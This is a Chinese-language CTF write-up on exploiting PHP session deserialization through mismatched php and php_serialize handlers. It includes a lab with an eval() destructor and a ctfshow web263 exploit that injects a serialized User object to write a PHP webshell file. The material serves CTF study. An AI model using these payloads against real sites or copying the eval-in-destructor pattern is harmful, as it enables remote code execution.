Back

PHP中Session反序列化机制的利用

新姿势get

省赛将近,被迫恶补CTF,与靶机相关的练习只能先搁置了。
php中有关session反序列化的考点遇见了多次,这里来复现一下理清思路。

原理

当php程序向session中写入内容时,会根据php.ini设置的session处理程序来对内容进行序列化;
而在读取session中的内容时,根据设置的处理程序来对session中的内容进行反序列化

来看官方手册的描述

问题就出在这个处理程序上,php中有三种不同的session处理程序phpphp_serializephp_binary
而经每种处理程序反序列化后的内容也不尽相同

这个漏洞产生的原因便是不同的网页处理session时使用了不同的处理程序,导致其可以反序列化我们传入的恶意字符串

实验

环境

操作系统:Windows10 x64位
服务器中间件:Apache 2.4
php版本:7.4

phpinfo中与session相关的设置如下:

可以看到默认的序列化处理程序为php,并且session默认以文件的方式来存储

处理程序

先来看默认的,也就是php

1
2
3
4
5
6
<?php
highlight_file(__FILE__);
session_start();

echo session_id();
$_SESSION['name'] = "yulock";

在session存储目录下可以看到刚刚生成的session,内容如下:

可以看到php处理程序用|作分割,前面为键,后面为值

通过ini_set函数将处理程序切换为php_serialize,再查看session中的内容:

最后一个php_binary处理程序不在利用链中,就不赘述了

漏洞利用

倘若现在有两个网页,他们共用一个session文件,并且使用了不同的处理程序。而我们可以控制传入处理程序为php_serialize的网页的序列化内容,那么只需要构造合适的序列化字符串,并在前添加|,就会被处理程序为php的网页识别,产生安全隐患

session.php:

1
2
3
4
5
6
7
<?php
highlight_file(__FILE__);
ini_set('session.serialize_handler','php_serialize');
session_start();

$_SESSION['username'] = $_GET['username'];
echo "<pre>" . session_id();

vuln.php:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
<?php
highlight_file(__FILE__);
session_start();

class cmd {
    public $code;

    public function __destruct()
    {
        eval($this->code);
    }
}

echo "<pre>" . session_id();

构造payload:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
<?php

class cmd
{
    public $code;
}

$cmd = new cmd();
$cmd->code = "phpinfo();";

echo serialize($cmd);

session.php传入|O:3:"cmd":1:{s:4:"code";s:10:"phpinfo();";},查看现在生成session的内容:

这时访问vuln.php,会读取session中的内容并反序列化,当以php为处理程序时,会以|作为key和value的分割符,那么就会以我们的序列化字符串为value,进行反序列化后触发了__destruct魔术方法,导致了远程代码执行

例题

web263

题目来自ctfshow的web入门

扫描目录获取www.zip源码(由于源码过长,这里只截一部分)

index.php:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
<?php
error_reporting(0);
session_start();
//超过5次禁止登陆
if(isset($_SESSION['limit'])){
	$_SESSION['limti']>5?die("登陆失败次数超过限制"):$_SESSION['limit']=base64_decode($_COOKIE['limit']);
	$_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit']) +1);
}else{
	setcookie("limit",base64_encode('1'));
	$_SESSION['limit']= 1;
}
?>

check.php:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
error_reporting(0);
require_once 'inc/inc.php';
$GET = array("u"=>$_GET['u'],"pass"=>$_GET['pass']);

if($GET){
	$data= $db->get('admin',
	[	'id',
		'UserName0'
	],[
		"AND"=>[
		"UserName0[=]"=>$GET['u'],
		"PassWord1[=]"=>$GET['pass'] //密码必须为128位大小写字母+数字+特殊符号,防止爆破
		]
	]);
	if($data['id']){
		//登陆成功取消次数累计
		$_SESSION['limit']= 0;
		echo json_encode(array("success","msg"=>"欢迎您".$data['UserName0']));
	}else{
		//登陆失败累计次数加1
		$_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit'])+1);
		echo json_encode(array("error","msg"=>"登陆失败"));
	}
}

inc/inc.php:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
<?php
error_reporting(0);
ini_set('display_errors', 0);
ini_set('session.serialize_handler', 'php');
date_default_timezone_set("Asia/Shanghai");
session_start();
use \CTFSHOW\CTFSHOW; 
require_once 'CTFSHOW.php';
$db = new CTFSHOW([
    'database_type' => 'mysql',
    'database_name' => 'web',
    'server' => 'localhost',
    'username' => 'root',
    'password' => 'root',
    'charset' => 'utf8',
    'port' => 3306,
    'prefix' => '',
    'option' => [
        PDO::ATTR_CASE => PDO::CASE_NATURAL
    ]
]);

// sql注入检查
function checkForm($str){
    if(!isset($str)){
        return true;
    }else{
    return preg_match("/select|update|drop|union|and|or|ascii|if|sys|substr|sleep|from|where|0x|hex|bin|char|file|ord|limit|by|\`|\~|\!|\@|\#|\\$|\%|\^|\\|\&|\*|\(|\)|\(|\)|\+|\=|\[|\]|\;|\:|\'|\"|\<|\,|\>|\?/i",$str);
    }
}

class User{
    public $username;
    public $password;
    public $status;
    function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }
    function setStatus($s){
        $this->status=$s;
    }
    function __destruct(){
        file_put_contents("log-".$this->username, "使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format('Y-m-d H:i:s'));
    }
}

/*生成唯一标志
*标准的UUID格式为:xxxxxxxx-xxxx-xxxx-xxxxxx-xxxxxxxxxx(8-4-4-4-12)
*/
function  uuid()  
{  
    $chars = md5(uniqid(mt_rand(), true));  
    $uuid = substr ( $chars, 0, 8 ) . '-'
            . substr ( $chars, 8, 4 ) . '-' 
            . substr ( $chars, 12, 4 ) . '-'
            . substr ( $chars, 16, 4 ) . '-'
            . substr ( $chars, 20, 12 );  
    return $uuid ;  
}  

可以看到inc/inc.php中设置了反序列化处理程序为php:
ini_set('session.serialize_handler', 'php');
由此猜测,默认的处理程序为php_serialize,且在该文件中有一个User类,在反序列化后会触发file_put_contents,可用于写马

而在index.php中我们可以通过Cookie中的limit来控制写入session中的内容
$_SESSION['limit']=base64_decode($_COOKIE['limit']);

因此只需要将构造好的序列化字符串经base64编码后传入Cookie中的limit参数,访问index.php将其写入session,之后再访问inc/inc.php即可触发反序列化写马

exp:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php

class User
{
    public $username;
    public $password;
    public $status;
    function __construct($username, $password)
    {
        $this->username = $username;
        $this->password = $password;
    }
    function setStatus($s)
    {
        $this->status = $s;
    }
}

$payload = new User("1.php", "");
$payload->setStatus("成功");

echo base64_encode("|" . serialize($payload));